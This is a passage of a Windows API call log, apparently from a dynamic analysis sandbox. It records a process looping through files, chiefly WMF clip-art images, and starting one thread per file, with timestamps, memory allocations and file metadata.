	[0235.955] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.955] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x146a8500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x146a8500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00177_.WMF", cAlternateFileName="")) returned 1
	[0235.956] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.956] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d1b10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1558
	[0235.958] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.958] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37eef900, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37eef900, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00204_.WMF", cAlternateFileName="")) returned 1
	[0235.958] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.959] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d51f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x155c
	[0235.961] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0235.961] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98ede100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98ede100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00233_.WMF", cAlternateFileName="")) returned 1
	[0235.962] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0235.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4d88d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1560
	[0236.160] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.161] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6428b00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6428b00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00343_.WMF", cAlternateFileName="")) returned 1
	[0236.161] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1564
	[0236.163] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.164] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17dd700, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc17dd700, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00346_.WMF", cAlternateFileName="")) returned 1
	[0236.165] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c3f90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1568
	[0236.168] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.168] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56c900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba56c900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00351_.WMF", cAlternateFileName="")) returned 1
	[0236.168] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4c7670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x156c
	[0236.171] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.171] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ee5f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ee5f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00557_.WMF", cAlternateFileName="")) returned 1
	[0236.172] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.172] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ce430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1570
	[0236.174] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.174] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9b2000, ftCreationTime.dwHighDateTime=0x1bd4bf2, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9b2000, ftLastWriteTime.dwHighDateTime=0x1bd4bf2, nFileSizeHigh=0x0, nFileSizeLow=0x31cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00915_.WMF", cAlternateFileName="")) returned 1
	[0236.174] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.175] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4dbfb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1574
	[0236.177] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.178] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570a100, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5570a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00919_.WMF", cAlternateFileName="")) returned 1
	[0236.178] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.179] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4df690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1578
	[0236.180] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.181] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a750c00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a750c00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00956_.WMF", cAlternateFileName="")) returned 1
	[0236.181] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.181] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e2d70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x157c
	[0236.183] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.184] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20e4b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20e4b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00957_.WMF", cAlternateFileName="")) returned 1
	[0236.184] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.184] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e6450, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1580
	[0236.186] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.187] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x72, dwReserved1=0x0, cFileName="INDST_01.MID", cAlternateFileName="")) returned 1
	[0236.187] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.188] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4e9b30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1584
	[0236.189] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.190] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b0900, ftCreationTime.dwHighDateTime=0x1bd6360, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d9b0900, ftLastWriteTime.dwHighDateTime=0x1bd6360, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0075478.GIF", cAlternateFileName="")) returned 1
	[0236.190] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.191] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4ed210, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1588
	[0236.192] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.193] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2606, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0086384.WMF", cAlternateFileName="")) returned 1
	[0236.193] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.194] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f08f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158c
	[0236.270] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.271] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x257c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0086420.WMF", cAlternateFileName="")) returned 1
	[0236.271] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.272] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1590
	[0236.273] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.273] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4278, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0086424.WMF", cAlternateFileName="")) returned 1
	[0236.274] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.274] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1594
	[0236.275] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.276] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5516, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0086426.WMF", cAlternateFileName="")) returned 1
	[0236.276] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.277] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1598
	[0236.278] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.278] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a12, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0086428.WMF", cAlternateFileName="")) returned 1
	[0236.279] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.279] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x159c
	[0236.281] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.281] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x829a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0086432.WMF", cAlternateFileName="")) returned 1
	[0236.281] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.282] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15a0
	[0236.283] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.284] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x375e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0086478.WMF", cAlternateFileName="")) returned 1
	[0236.284] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.285] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15a4
	[0236.286] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.286] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4dba, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0089945.WMF", cAlternateFileName="")) returned 1
	[0236.286] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.287] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15a8
	[0236.288] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.289] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d40, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0089992.WMF", cAlternateFileName="")) returned 1
	[0236.289] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.289] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15ac
	[0236.290] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.291] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5314, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090027.WMF", cAlternateFileName="")) returned 1
	[0236.291] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.292] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15b0
	[0236.293] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.293] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb758, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090087.WMF", cAlternateFileName="")) returned 1
	[0236.293] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.294] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15b4
	[0236.295] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.295] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090089.WMF", cAlternateFileName="")) returned 1
	[0236.296] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.296] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15b8
	[0236.297] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.298] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6e34, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090149.WMF", cAlternateFileName="")) returned 1
	[0236.298] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f3fd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15bc
	[0236.299] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0236.300] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x44e6, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0090390.WMF", cAlternateFileName="")) returned 1
	[0236.300] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0236.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4f76b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c0
	[0236.302] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
